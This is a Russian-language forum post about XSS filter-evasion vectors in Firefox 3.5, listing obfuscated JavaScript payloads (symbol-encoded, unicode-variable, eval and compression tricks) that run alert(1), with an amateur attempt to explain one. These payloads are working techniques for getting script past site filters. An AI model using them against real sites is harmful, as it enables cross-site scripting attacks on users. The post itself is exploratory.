![]() |
Firefox 3.5, unicode и javascript
Недавно нашёл интересный топик New XSS vectors/Unusual Javascript (http://sla.ckers.org/forum/read.php?2,15812,page=1)
В нём описываются различные способы обхода фильтрации, примером работы javascript является alert(1); Вот некоторые из них: -------------- 0/eval('alert(1)') -------------- top.* =alert,self['*'](1) -------------- [1,9].reduce(alert) -------------- \u5001$=1 \u5000$=\u5001$?alert:\u5001$ \u5000$(1) -------------- x='\u0020alert\u0009(1)'; eval(x); -------------- Первым, кто предложил полностью зашифрованный скрипт, был Yosuke Hasegawa (1 июня 2009). Скрипт довольно большой, но всётаки это оригинальное решение. ß=-~-~[],þ=-~ß,â=ß<<ß,ô=â+~[];ù=(þ-þ)[Õ=(''+{})[ß+þ]+(''+{})[þ-ß]+([].þ+'')[þ-ß]+(!!''+'')[þ]+({}+'')[þ+þ]+(!''+'')[þ-ß]+(!''+'')[ß]+(''+{})[ß+þ]+({}+'')[þ+þ]+(''+{})[þ-ß]+(!''+'')[þ-ß]][Õ];ù(ù((!''+'')[þ-ß]+(!''+'')[þ]+(!''+'')[þ-þ]+(!''+'')[ß]+((!''+''))[þ-ß]+([].$+'')[þ-ß]+'\''+''+'\\'+(þ-ß)+(ß+ß)+(þ-ß)+'\\'+(þ-ß)+(ß+þ)+(ß+ß)+'\\'+(þ-ß)+(ß+ß)+(ß+þ)+'\\'+(þ-ß)+(þ+þ)+(ß)+'\\'+(þ-ß)+(þ+þ)+(ß+ß)+'\\'+(ß+þ)+(þ-þ)+'\\'+(þ+þ)+(þ-ß)+'\\'+(ß+þ)+(þ-ß)+'\\'+(ô)+(þ)+'\'')())() -------------- $=[][(!~''+'')[(+!'')+(+!'')+(+!'')]+({}+'')[+!'']+($$=(!+''+'')[+!''])+(_=(!''+'')[+''])],$()[(!!''+'')[+!'']+(!!''+'')[+!''+!'']+(!!''+'')[+!''+!''+!''+!'']+$$+_](+!'') -------------- µ=<µ ß='le' µ='a' ø='rt'></µ>,top[µ.@µ+µ.@ß+µ.@ø](µ) -------------- И даже без ковычек: (Å=[],[Ç=!!Å+Å,µ=!Å+{}][µ[ª=Ç[++Å]+Ç[+!Å],È=Å-~Å]+µ[È+È]+ª])()[µ[Å]+µ[Å+Å]+Ç[È]+ª](Å) -------------- Впервые я заметил такое решение на сайте http://raz0r.name/ Но не уделил ему должного внимания, зря хотя. А несколько дней спустя, в поиске обхода фильтрации нашёл тот топик. Также один из учасников форума уже создал скрипт который зашифровывает яваскрипт - Hackvertor Выбераем Hacker tags, выделяем наш скрипт, нажимаем на hasegawa, а затем нажимаем Convert (image). Кстати, на том сайте, есть ещё один способ сжатия, интересен он тем что работает не только в FF3.5, но и в IE8. Script > jspack Пример cжатого alert(1); -------------- eval("◮ᾥѵ٨ፍ;".replace(/[^s]/g,function(c){return c.charCodeAt()}).replace(/[3][2-9]|[4-9][0-9]|[1][0-1][0-9]|[1][2][0-6]/g,function(d){return String.fromCharCode(d)})) -------------- Вообщем интересно как это работает. Для начала хотябы на простых примерах. -------------- $=alert; $(1); -------------- blah=alert; blah(1); -------------- Прочитав это, я мало что понял, но всёже решил попробывать чтото простое. Цитата:
-------------- $=alert; $(1); -------------- Допишим к нему $(2);. -------------- $=alert; $(1); $(2); -------------- Сначала появится alert(1);, затем alert(2);. Таким образом можно предположить что alert записывается в $, а затем каждый раз подставляется к (1); и (2);. Немного усложним конструкцию: $=alert; $($>>$); Теперь выводится 0, как и написал .mario. $++ - NaN $+$ - function write() { [native code] } function write() { [native code] } $+$-$ - NaN 4+10-5 - 9 -------------- Теперь возьмём посложнее: (Å=[],[Ç=!!Å+Å,µ=!Å+{}][µ[ª=Ç[++Å]+Ç[+!Å],È=Å-~Å]+µ[È+È]+ª])()[µ[Å]+µ[Å+Å]+Ç[È]+ª](Å) -------------- Å сдесь выполняет туже роль что и $ в предыдущем примере. Можно его даже заменить на ß, и скрипт всюравно будет работать. (ß=[],[Ç=!!ß+ß,µ=!ß+{}][µ[ª=Ç[++ß]+Ç[+!ß],È=ß-~ß]+µ[È+È]+ª])()[µ[ß]+µ[ß+ß]+Ç[È]+ª](ß) -------------- Давайте попробуем разобрать этот скрипт. ß - хранит в себе информацию (я не разбираюсь в програмировании, по этому незнаю как это называется) ß=[] - сдесь ß записывает в себя массив [] Дальше идёт массив [...])(), затем ещё один [...], и затем (ß) которая и вызывает скрипт. Возможно скрипт можно разделить: (ß=[], [Ç=!!ß+ß,µ=!ß+{}] [µ[ª=Ç[++ß]+Ç[+!ß],È=ß-~ß] +µ[È+È]+ª]) () [µ[ß]+µ[ß+ß]+Ç[È]+ª] (ß) Дальше, как я понимаю, идёт преобразование из utf8 в ascii и создание alert(1);, который и выполняется в браузере. Ктонибудь, обладающий нужными заниями, может продолжить? Интересно разобрать этот скрипт для создания анологичных. |
это всё класно, но что бы сие чудо заработало его необходимо заключиь в тег <script> ):
|
| Время: 13:56 |